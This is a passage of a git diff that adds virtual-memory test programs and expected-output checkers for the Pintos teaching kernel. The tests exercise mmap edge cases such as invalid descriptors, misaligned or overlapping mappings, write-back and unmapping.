+ /* Encrypt zeros. */
+ arc4_init (&arc4, key, strlen (key));
+ arc4_crypt (&arc4, buf, SIZE);
+
+ /* Decrypt back to zeros. */
+ arc4_init (&arc4, key, strlen (key));
+ arc4_crypt (&arc4, buf, SIZE);
+
+ /* Check that it's all zeros. */
+ for (i = 0; i < SIZE; i++)
+ if (buf[i] != '\0')
+ fail ("byte %zu != 0", i);
+
+ return 0x42;
+}
diff --git a/src/tests/vm/child-mm-wrt.c b/src/tests/vm/child-mm-wrt.c
new file mode 100644
index 0000000..8419788
--- /dev/null
+++ b/src/tests/vm/child-mm-wrt.c
@@ -0,0 +1,24 @@
+/* Child process of mmap-exit.
+ Mmaps a file and writes to it via the mmap'ing, then exits
+ without calling munmap. The data in the mapped region must be
+ written out at program termination. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#define ACTUAL ((void *) 0x10000000)
+
+void
+test_main (void)
+{
+ int handle;
+
+ CHECK (create ("sample.txt", sizeof sample), "create \"sample.txt\"");
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK (mmap (handle, ACTUAL) != MAP_FAILED, "mmap \"sample.txt\"");
+ memcpy (ACTUAL, sample, sizeof sample);
+}
+
diff --git a/src/tests/vm/child-qsort-mm.c b/src/tests/vm/child-qsort-mm.c
new file mode 100644
index 0000000..db45499
--- /dev/null
+++ b/src/tests/vm/child-qsort-mm.c
@@ -0,0 +1,25 @@
+/* Mmaps a 128 kB file "sorts" the bytes in it, using quick sort,
+ a multi-pass divide and conquer algorithm. */
+
+#include <debug.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+#include "tests/vm/qsort.h"
+
+const char *test_name = "child-qsort-mm";
+
+int
+main (int argc UNUSED, char *argv[])
+{
+ int handle;
+ unsigned char *p = (unsigned char *) 0x10000000;
+
+ quiet = true;
+
+ CHECK ((handle = open (argv[1])) > 1, "open \"%s\"", argv[1]);
+ CHECK (mmap (handle, p) != MAP_FAILED, "mmap \"%s\"", argv[1]);
+ qsort_bytes (p, 1024 * 128);
+
+ return 80;
+}
diff --git a/src/tests/vm/child-qsort.c b/src/tests/vm/child-qsort.c
new file mode 100644
index 0000000..355f4eb
--- /dev/null
+++ b/src/tests/vm/child-qsort.c
@@ -0,0 +1,32 @@
+/* Reads a 128 kB file onto the stack and "sorts" the bytes in
+ it, using quick sort, a multi-pass divide and conquer
+ algorithm. The sorted data is written back to the same file
+ in-place. */
+
+#include <debug.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+#include "tests/vm/qsort.h"
+
+const char *test_name = "child-qsort";
+
+int
+main (int argc UNUSED, char *argv[])
+{
+ int handle;
+ unsigned char buf[128 * 1024];
+ size_t size;
+
+ quiet = true;
+
+ CHECK ((handle = open (argv[1])) > 1, "open \"%s\"", argv[1]);
+
+ size = read (handle, buf, sizeof buf);
+ qsort_bytes (buf, sizeof buf);
+ seek (handle, 0);
+ write (handle, buf, size);
+ close (handle);
+
+ return 72;
+}
diff --git a/src/tests/vm/child-sort.c b/src/tests/vm/child-sort.c
new file mode 100644
index 0000000..dff2c77
--- /dev/null
+++ b/src/tests/vm/child-sort.c
@@ -0,0 +1,42 @@
+/* Reads a 128 kB file into static data and "sorts" the bytes in
+ it, using counting sort, a single-pass algorithm. The sorted
+ data is written back to the same file in-place. */
+
+#include <debug.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+const char *test_name = "child-sort";
+
+unsigned char buf[128 * 1024];
+size_t histogram[256];
+
+int
+main (int argc UNUSED, char *argv[])
+{
+ int handle;
+ unsigned char *p;
+ size_t size;
+ size_t i;
+
+ quiet = true;
+
+ CHECK ((handle = open (argv[1])) > 1, "open \"%s\"", argv[1]);
+
+ size = read (handle, buf, sizeof buf);
+ for (i = 0; i < size; i++)
+ histogram[buf[i]]++;
+ p = buf;
+ for (i = 0; i < sizeof histogram / sizeof *histogram; i++)
+ {
+ size_t j = histogram[i];
+ while (j-- > 0)
+ *p++ = i;
+ }
+ seek (handle, 0);
+ write (handle, buf, size);
+ close (handle);
+
+ return 123;
+}
diff --git a/src/tests/vm/mmap-bad-fd.c b/src/tests/vm/mmap-bad-fd.c
new file mode 100644
index 0000000..76a7b50
--- /dev/null
+++ b/src/tests/vm/mmap-bad-fd.c
@@ -0,0 +1,15 @@
+/* Tries to mmap an invalid fd,
+ which must either fail silently or terminate the process with
+ exit code -1. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (mmap (0x5678, (void *) 0x10000000) == MAP_FAILED,
+ "try to mmap invalid fd");
+}
+
diff --git a/src/tests/vm/mmap-bad-fd.ck b/src/tests/vm/mmap-bad-fd.ck
new file mode 100644
index 0000000..f3f58d5
--- /dev/null
+++ b/src/tests/vm/mmap-bad-fd.ck
@@ -0,0 +1,15 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(mmap-bad-fd) begin
+(mmap-bad-fd) try to mmap invalid fd
+(mmap-bad-fd) end
+mmap-bad-fd: exit(0)
+EOF
+(mmap-bad-fd) begin
+(mmap-bad-fd) try to mmap invalid fd
+mmap-bad-fd: exit(-1)
+EOF
+pass;
diff --git a/src/tests/vm/mmap-clean.c b/src/tests/vm/mmap-clean.c
new file mode 100644
index 0000000..ea1dc9c
--- /dev/null
+++ b/src/tests/vm/mmap-clean.c
@@ -0,0 +1,53 @@
+/* Verifies that mmap'd regions are only written back on munmap
+ if the data was actually modified in memory. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ static const char overwrite[] = "Now is the time for all good...";
+ static char buffer[sizeof sample - 1];
+ char *actual = (char *) 0x54321000;
+ int handle;
+ mapid_t map;
+
+ /* Open file, map, verify data. */
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK ((map = mmap (handle, actual)) != MAP_FAILED, "mmap \"sample.txt\"");
+ if (memcmp (actual, sample, strlen (sample)))
+ fail ("read of mmap'd file reported bad data");
+
+ /* Modify file. */
+ CHECK (write (handle, overwrite, strlen (overwrite))
+ == (int) strlen (overwrite),
+ "write \"sample.txt\"");
+
+ /* Close mapping. Data should not be written back, because we
+ didn't modify it via the mapping. */
+ msg ("munmap \"sample.txt\"");
+ munmap (map);
+
+ /* Read file back. */
+ msg ("seek \"sample.txt\"");
+ seek (handle, 0);
+ CHECK (read (handle, buffer, sizeof buffer) == sizeof buffer,
+ "read \"sample.txt\"");
+
+ /* Verify that file overwrite worked. */
+ if (memcmp (buffer, overwrite, strlen (overwrite))
+ || memcmp (buffer + strlen (overwrite), sample + strlen (overwrite),
+ strlen (sample) - strlen (overwrite)))
+ {
+ if (!memcmp (buffer, sample, strlen (sample)))
+ fail ("munmap wrote back clean page");
+ else
+ fail ("read surprising data from file");
+ }
+ else
+ msg ("file change was retained after munmap");
+}
diff --git a/src/tests/vm/mmap-clean.ck b/src/tests/vm/mmap-clean.ck
new file mode 100644
index 0000000..1666d6c
--- /dev/null
+++ b/src/tests/vm/mmap-clean.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-clean) begin
+(mmap-clean) open "sample.txt"
+(mmap-clean) mmap "sample.txt"
+(mmap-clean) write "sample.txt"
+(mmap-clean) munmap "sample.txt"
+(mmap-clean) seek "sample.txt"
+(mmap-clean) read "sample.txt"
+(mmap-clean) file change was retained after munmap
+(mmap-clean) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-close.c b/src/tests/vm/mmap-close.c
new file mode 100644
index 0000000..d016ee3
--- /dev/null
+++ b/src/tests/vm/mmap-close.c
@@ -0,0 +1,27 @@
+/* Verifies that memory mappings persist after file close. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/arc4.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#define ACTUAL ((void *) 0x10000000)
+
+void
+test_main (void)
+{
+ int handle;
+ mapid_t map;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK ((map = mmap (handle, ACTUAL)) != MAP_FAILED, "mmap \"sample.txt\"");
+
+ close (handle);
+
+ if (memcmp (ACTUAL, sample, strlen (sample)))
+ fail ("read of mmap'd file reported bad data");
+
+ munmap (map);
+}
diff --git a/src/tests/vm/mmap-close.ck b/src/tests/vm/mmap-close.ck
new file mode 100644
index 0000000..d15e41a
--- /dev/null
+++ b/src/tests/vm/mmap-close.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-close) begin
+(mmap-close) open "sample.txt"
+(mmap-close) mmap "sample.txt"
+(mmap-close) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-exit.c b/src/tests/vm/mmap-exit.c
new file mode 100644
index 0000000..7a2278a
--- /dev/null
+++ b/src/tests/vm/mmap-exit.c
@@ -0,0 +1,22 @@
+/* Executes child-mm-wrt and verifies that the writes that should
+ have occurred really did. */
+
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ pid_t child;
+
+ /* Make child write file. */
+ quiet = true;
+ CHECK ((child = exec ("child-mm-wrt")) != -1, "exec \"child-mm-wrt\"");
+ CHECK (wait (child) == 0, "wait for child (should return 0)");
+ quiet = false;
+
+ /* Check file contents. */
+ check_file ("sample.txt", sample, sizeof sample);
+}
diff --git a/src/tests/vm/mmap-exit.ck b/src/tests/vm/mmap-exit.ck
new file mode 100644
index 0000000..457d34a
--- /dev/null
+++ b/src/tests/vm/mmap-exit.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-exit) begin
+(child-mm-wrt) begin
+(child-mm-wrt) create "sample.txt"
+(child-mm-wrt) open "sample.txt"
+(child-mm-wrt) mmap "sample.txt"
+(child-mm-wrt) end
+(mmap-exit) open "sample.txt" for verification
+(mmap-exit) verified contents of "sample.txt"
+(mmap-exit) close "sample.txt"
+(mmap-exit) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-inherit.c b/src/tests/vm/mmap-inherit.c
new file mode 100644
index 0000000..7fa9607
--- /dev/null
+++ b/src/tests/vm/mmap-inherit.c
@@ -0,0 +1,32 @@
+/* Maps a file into memory and runs child-inherit to verify that
+ mappings are not inherited. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char *actual = (char *) 0x54321000;
+ int handle;
+ pid_t child;
+
+ /* Open file, map, verify data. */
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK (mmap (handle, actual) != MAP_FAILED, "mmap \"sample.txt\"");
+ if (memcmp (actual, sample, strlen (sample)))
+ fail ("read of mmap'd file reported bad data");
+
+ /* Spawn child and wait. */
+ CHECK ((child = exec ("child-inherit")) != -1, "exec \"child-inherit\"");
+ quiet = true;
+ CHECK (wait (child) == -1, "wait for child (should return -1)");
+ quiet = false;
+
+ /* Verify data again. */
+ CHECK (!memcmp (actual, sample, strlen (sample)),
+ "checking that mmap'd file still has same data");
+}
diff --git a/src/tests/vm/mmap-inherit.ck b/src/tests/vm/mmap-inherit.ck
new file mode 100644
index 0000000..7e69122
--- /dev/null
+++ b/src/tests/vm/mmap-inherit.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ( [<<'EOF']);
+(mmap-inherit) begin
+(mmap-inherit) open "sample.txt"
+(mmap-inherit) mmap "sample.txt"
+(mmap-inherit) exec "child-inherit"
+(child-inherit) begin
+child-inherit: exit(-1)
+(mmap-inherit) checking that mmap'd file still has same data
+(mmap-inherit) end
+mmap-inherit: exit(0)
+EOF
+pass;
diff --git a/src/tests/vm/mmap-misalign.c b/src/tests/vm/mmap-misalign.c
new file mode 100644
index 0000000..34141a9
--- /dev/null
+++ b/src/tests/vm/mmap-misalign.c
@@ -0,0 +1,16 @@
+/* Verifies that misaligned memory mappings are disallowed. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK (mmap (handle, (void *) 0x10001234) == MAP_FAILED,
+ "try to mmap at misaligned address");
+}
+
diff --git a/src/tests/vm/mmap-misalign.ck b/src/tests/vm/mmap-misalign.ck
new file mode 100644
index 0000000..145a2e8
--- /dev/null
+++ b/src/tests/vm/mmap-misalign.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-misalign) begin
+(mmap-misalign) open "sample.txt"
+(mmap-misalign) try to mmap at misaligned address
+(mmap-misalign) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-null.c b/src/tests/vm/mmap-null.c
new file mode 100644
index 0000000..f8ef075
--- /dev/null
+++ b/src/tests/vm/mmap-null.c
@@ -0,0 +1,15 @@
+/* Verifies that memory mappings at address 0 are disallowed. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK (mmap (handle, NULL) == MAP_FAILED, "try to mmap at address 0");
+}
+
diff --git a/src/tests/vm/mmap-null.ck b/src/tests/vm/mmap-null.ck
new file mode 100644
index 0000000..aacdd65
--- /dev/null
+++ b/src/tests/vm/mmap-null.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-null) begin
+(mmap-null) open "sample.txt"
+(mmap-null) try to mmap at address 0
+(mmap-null) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-over-code.c b/src/tests/vm/mmap-over-code.c
new file mode 100644
index 0000000..d3619a3
--- /dev/null
+++ b/src/tests/vm/mmap-over-code.c
@@ -0,0 +1,19 @@
+/* Verifies that mapping over the code segment is disallowed. */
+
+#include <stdint.h>
+#include <round.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ uintptr_t test_main_page = ROUND_DOWN ((uintptr_t) test_main, 4096);
+ int handle;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK (mmap (handle, (void *) test_main_page) == MAP_FAILED,
+ "try to mmap over code segment");
+}
+
diff --git a/src/tests/vm/mmap-over-code.ck b/src/tests/vm/mmap-over-code.ck
new file mode 100644
index 0000000..b5b23c7
--- /dev/null
+++ b/src/tests/vm/mmap-over-code.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-over-code) begin
+(mmap-over-code) open "sample.txt"
+(mmap-over-code) try to mmap over code segment
+(mmap-over-code) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-over-data.c b/src/tests/vm/mmap-over-data.c
new file mode 100644
index 0000000..9ea5d49
--- /dev/null
+++ b/src/tests/vm/mmap-over-data.c
@@ -0,0 +1,21 @@
+/* Verifies that mapping over the data segment is disallowed. */
+
+#include <stdint.h>
+#include <round.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+static char x;
+
+void
+test_main (void)
+{
+ uintptr_t x_page = ROUND_DOWN ((uintptr_t) &x, 4096);
+ int handle;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK (mmap (handle, (void *) x_page) == MAP_FAILED,
+ "try to mmap over data segment");
+}
+
diff --git a/src/tests/vm/mmap-over-data.ck b/src/tests/vm/mmap-over-data.ck
new file mode 100644
index 0000000..98770cc
--- /dev/null
+++ b/src/tests/vm/mmap-over-data.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-over-data) begin
+(mmap-over-data) open "sample.txt"
+(mmap-over-data) try to mmap over data segment
+(mmap-over-data) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-over-stk.c b/src/tests/vm/mmap-over-stk.c
new file mode 100644
index 0000000..4e241e8
--- /dev/null
+++ b/src/tests/vm/mmap-over-stk.c
@@ -0,0 +1,19 @@
+/* Verifies that mapping over the stack segment is disallowed. */
+
+#include <stdint.h>
+#include <round.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+ uintptr_t handle_page = ROUND_DOWN ((uintptr_t) &handle, 4096);
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK (mmap (handle, (void *) handle_page) == MAP_FAILED,
+ "try to mmap over stack segment");
+}
+
diff --git a/src/tests/vm/mmap-over-stk.ck b/src/tests/vm/mmap-over-stk.ck
new file mode 100644
index 0000000..e6880cf
--- /dev/null
+++ b/src/tests/vm/mmap-over-stk.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-over-stk) begin
+(mmap-over-stk) open "sample.txt"
+(mmap-over-stk) try to mmap over stack segment
+(mmap-over-stk) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-overlap.c b/src/tests/vm/mmap-overlap.c
new file mode 100644
index 0000000..668ae5f
--- /dev/null
+++ b/src/tests/vm/mmap-overlap.c
@@ -0,0 +1,20 @@
+/* Verifies that overlapping memory mappings are disallowed. */
+
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char *start = (char *) 0x10000000;
+ int fd[2];
+
+ CHECK ((fd[0] = open ("zeros")) > 1, "open \"zeros\" once");
+ CHECK (mmap (fd[0], start) != MAP_FAILED, "mmap \"zeros\"");
+ CHECK ((fd[1] = open ("zeros")) > 1 && fd[0] != fd[1],
+ "open \"zeros\" again");
+ CHECK (mmap (fd[1], start + 4096) == MAP_FAILED,
+ "try to mmap \"zeros\" again");
+}
diff --git a/src/tests/vm/mmap-overlap.ck b/src/tests/vm/mmap-overlap.ck
new file mode 100644
index 0000000..f13801e
--- /dev/null
+++ b/src/tests/vm/mmap-overlap.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-overlap) begin
+(mmap-overlap) open "zeros" once
+(mmap-overlap) mmap "zeros"
+(mmap-overlap) open "zeros" again
+(mmap-overlap) try to mmap "zeros" again
+(mmap-overlap) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-read.c b/src/tests/vm/mmap-read.c
new file mode 100644
index 0000000..c0f23a1
--- /dev/null
+++ b/src/tests/vm/mmap-read.c
@@ -0,0 +1,32 @@
+/* Uses a memory mapping to read a file. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char *actual = (char *) 0x10000000;
+ int handle;
+ mapid_t map;
+ size_t i;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK ((map = mmap (handle, actual)) != MAP_FAILED, "mmap \"sample.txt\"");
+
+ /* Check that data is correct. */
+ if (memcmp (actual, sample, strlen (sample)))
+ fail ("read of mmap'd file reported bad data");
+
+ /* Verify that data is followed by zeros. */
+ for (i = strlen (sample); i < 4096; i++)
+ if (actual[i] != 0)
+ fail ("byte %zu of mmap'd region has value %02hhx (should be 0)",
+ i, actual[i]);
+
+ munmap (map);
+ close (handle);
+}
diff --git a/src/tests/vm/mmap-read.ck b/src/tests/vm/mmap-read.ck
new file mode 100644
index 0000000..95ab790
--- /dev/null
+++ b/src/tests/vm/mmap-read.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-read) begin
+(mmap-read) open "sample.txt"
+(mmap-read) mmap "sample.txt"
+(mmap-read) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-remove.c b/src/tests/vm/mmap-remove.c
new file mode 100644
index 0000000..5f7444d
--- /dev/null
+++ b/src/tests/vm/mmap-remove.c
@@ -0,0 +1,43 @@
+/* Deletes and closes file that is mapped into memory
+ and verifies that it can still be read through the mapping. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char *actual = (char *) 0x10000000;
+ int handle;
+ mapid_t map;
+ size_t i;
+
+ /* Map file. */
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK ((map = mmap (handle, actual)) != MAP_FAILED, "mmap \"sample.txt\"");
+
+ /* Close file and delete it. */
+ close (handle);
+ CHECK (remove ("sample.txt"), "remove \"sample.txt\"");
+ CHECK (open ("sample.txt") == -1, "try to open \"sample.txt\"");
+
+ /* Create a new file in hopes of overwriting data from the old
+ one, in case the file system has incorrectly freed the
+ file's data. */
+ CHECK (create ("another", 4096 * 10), "create \"another\"");
+
+ /* Check that mapped data is correct. */
+ if (memcmp (actual, sample, strlen (sample)))
+ fail ("read of mmap'd file reported bad data");
+
+ /* Verify that data is followed by zeros. */
+ for (i = strlen (sample); i < 4096; i++)
+ if (actual[i] != 0)
+ fail ("byte %zu of mmap'd region has value %02hhx (should be 0)",
+ i, actual[i]);
+
+ munmap (map);
+}
diff --git a/src/tests/vm/mmap-remove.ck b/src/tests/vm/mmap-remove.ck
new file mode 100644
index 0000000..d3cc938
--- /dev/null
+++ b/src/tests/vm/mmap-remove.ck
@@ -0,0 +1,14 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-remove) begin
+(mmap-remove) open "sample.txt"
+(mmap-remove) mmap "sample.txt"
+(mmap-remove) remove "sample.txt"
+(mmap-remove) try to open "sample.txt"
+(mmap-remove) create "another"
+(mmap-remove) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-shuffle.c b/src/tests/vm/mmap-shuffle.c
new file mode 100644
index 0000000..29921ad
--- /dev/null
+++ b/src/tests/vm/mmap-shuffle.c
@@ -0,0 +1,38 @@
+/* Creates a 128 kB file and repeatedly shuffles data in it
+ through a memory mapping. */
+
+#include <stdio.h>
+#include <string.h>
+#include <syscall.h>
+#include "tests/arc4.h"
+#include "tests/cksum.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#define SIZE (128 * 1024)
+
+static char *buf = (char *) 0x10000000;
+
+void
+test_main (void)
+{
+ size_t i;
+ int handle;
+
+ /* Create file, mmap. */
+ CHECK (create ("buffer", SIZE), "create \"buffer\"");
+ CHECK ((handle = open ("buffer")) > 1, "open \"buffer\"");
+ CHECK (mmap (handle, buf) != MAP_FAILED, "mmap \"buffer\"");
+
+ /* Initialize. */
+ for (i = 0; i < SIZE; i++)
+ buf[i] = i * 257;
+ msg ("init: cksum=%lu", cksum (buf, SIZE));
+
+ /* Shuffle repeatedly. */
+ for (i = 0; i < 10; i++)
+ {
+ shuffle (buf, SIZE, 1);
+ msg ("shuffle %zu: cksum=%lu", i, cksum (buf, SIZE));
+ }
+}
diff --git a/src/tests/vm/mmap-shuffle.ck b/src/tests/vm/mmap-shuffle.ck
new file mode 100644
index 0000000..c158301
--- /dev/null
+++ b/src/tests/vm/mmap-shuffle.ck
@@ -0,0 +1,47 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::cksum;
+use tests::lib;
+
+my ($init, @shuffle);
+if (1) {
+ # Use precalculated values.
+ $init = 3115322833;
+ @shuffle = (1691062564, 1973575879, 1647619479, 96566261, 3885786467,
+ 3022003332, 3614934266, 2704001777, 735775156, 1864109763);
+} else {
+ # Recalculate values.
+ my ($buf) = "";
+ for my $i (0...128 * 1024 - 1) {
+ $buf .= chr (($i * 257) & 0xff);
+ }
+ $init = cksum ($buf);
+
+ random_init (0);
+ for my $i (1...10) {
+ $buf = shuffle ($buf, length ($buf), 1);
+ push (@shuffle, cksum ($buf));
+ }
+}
+
+check_expected (IGNORE_EXIT_CODES => 1, [<<EOF]);
+(mmap-shuffle) begin
+(mmap-shuffle) create "buffer"
+(mmap-shuffle) open "buffer"
+(mmap-shuffle) mmap "buffer"
+(mmap-shuffle) init: cksum=$init
+(mmap-shuffle) shuffle 0: cksum=$shuffle[0]
+(mmap-shuffle) shuffle 1: cksum=$shuffle[1]
+(mmap-shuffle) shuffle 2: cksum=$shuffle[2]
+(mmap-shuffle) shuffle 3: cksum=$shuffle[3]
+(mmap-shuffle) shuffle 4: cksum=$shuffle[4]
+(mmap-shuffle) shuffle 5: cksum=$shuffle[5]
+(mmap-shuffle) shuffle 6: cksum=$shuffle[6]
+(mmap-shuffle) shuffle 7: cksum=$shuffle[7]
+(mmap-shuffle) shuffle 8: cksum=$shuffle[8]
+(mmap-shuffle) shuffle 9: cksum=$shuffle[9]
+(mmap-shuffle) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-twice.c b/src/tests/vm/mmap-twice.c
new file mode 100644
index 0000000..d277a37
--- /dev/null
+++ b/src/tests/vm/mmap-twice.c
@@ -0,0 +1,28 @@
+/* Maps the same file into memory twice and verifies that the
+ same data is readable in both. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char *actual[2] = {(char *) 0x10000000, (char *) 0x20000000};
+ size_t i;
+ int handle[2];
+
+ for (i = 0; i < 2; i++)
+ {
+ CHECK ((handle[i] = open ("sample.txt")) > 1,
+ "open \"sample.txt\" #%zu", i);
+ CHECK (mmap (handle[i], actual[i]) != MAP_FAILED,
+ "mmap \"sample.txt\" #%zu at %p", i, (void *) actual[i]);
+ }
+
+ for (i = 0; i < 2; i++)
+ CHECK (!memcmp (actual[i], sample, strlen (sample)),
+ "compare mmap'd file %zu against data", i);
+}
diff --git a/src/tests/vm/mmap-twice.ck b/src/tests/vm/mmap-twice.ck
new file mode 100644
index 0000000..05e9724
--- /dev/null
+++ b/src/tests/vm/mmap-twice.ck
@@ -0,0 +1,15 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-twice) begin
+(mmap-twice) open "sample.txt" #0
+(mmap-twice) mmap "sample.txt" #0 at 0x10000000
+(mmap-twice) open "sample.txt" #1
+(mmap-twice) mmap "sample.txt" #1 at 0x20000000
+(mmap-twice) compare mmap'd file 0 against data
+(mmap-twice) compare mmap'd file 1 against data
+(mmap-twice) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-unmap.c b/src/tests/vm/mmap-unmap.c
new file mode 100644
index 0000000..d35a79e
--- /dev/null
+++ b/src/tests/vm/mmap-unmap.c
@@ -0,0 +1,23 @@
+/* Maps and unmaps a file and verifies that the mapped region is
+ inaccessible afterward. */
+
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#define ACTUAL ((void *) 0x10000000)
+
+void
+test_main (void)
+{
+ int handle;
+ mapid_t map;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK ((map = mmap (handle, ACTUAL)) != MAP_FAILED, "mmap \"sample.txt\"");
+
+ munmap (map);
+
+ fail ("unmapped memory is readable (%d)", *(int *) ACTUAL);
+}
diff --git a/src/tests/vm/mmap-unmap.ck b/src/tests/vm/mmap-unmap.ck
new file mode 100644
index 0000000..119658c
--- /dev/null
+++ b/src/tests/vm/mmap-unmap.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::vm::process_death;
+
+check_process_death ('mmap-unmap');
diff --git a/src/tests/vm/mmap-write.c b/src/tests/vm/mmap-write.c
new file mode 100644
index 0000000..46e8043
--- /dev/null
+++ b/src/tests/vm/mmap-write.c
@@ -0,0 +1,32 @@
+/* Writes to a file through a mapping, and unmaps the file,
+ then reads the data in the file back using the read system
+ call to verify. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#define ACTUAL ((void *) 0x10000000)
+
+void
+test_main (void)
+{
+ int handle;
+ mapid_t map;
+ char buf[1024];
+
+ /* Write file via mmap. */
+ CHECK (create ("sample.txt", strlen (sample)), "create \"sample.txt\"");
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK ((map = mmap (handle, ACTUAL)) != MAP_FAILED, "mmap \"sample.txt\"");
+ memcpy (ACTUAL, sample, strlen (sample));
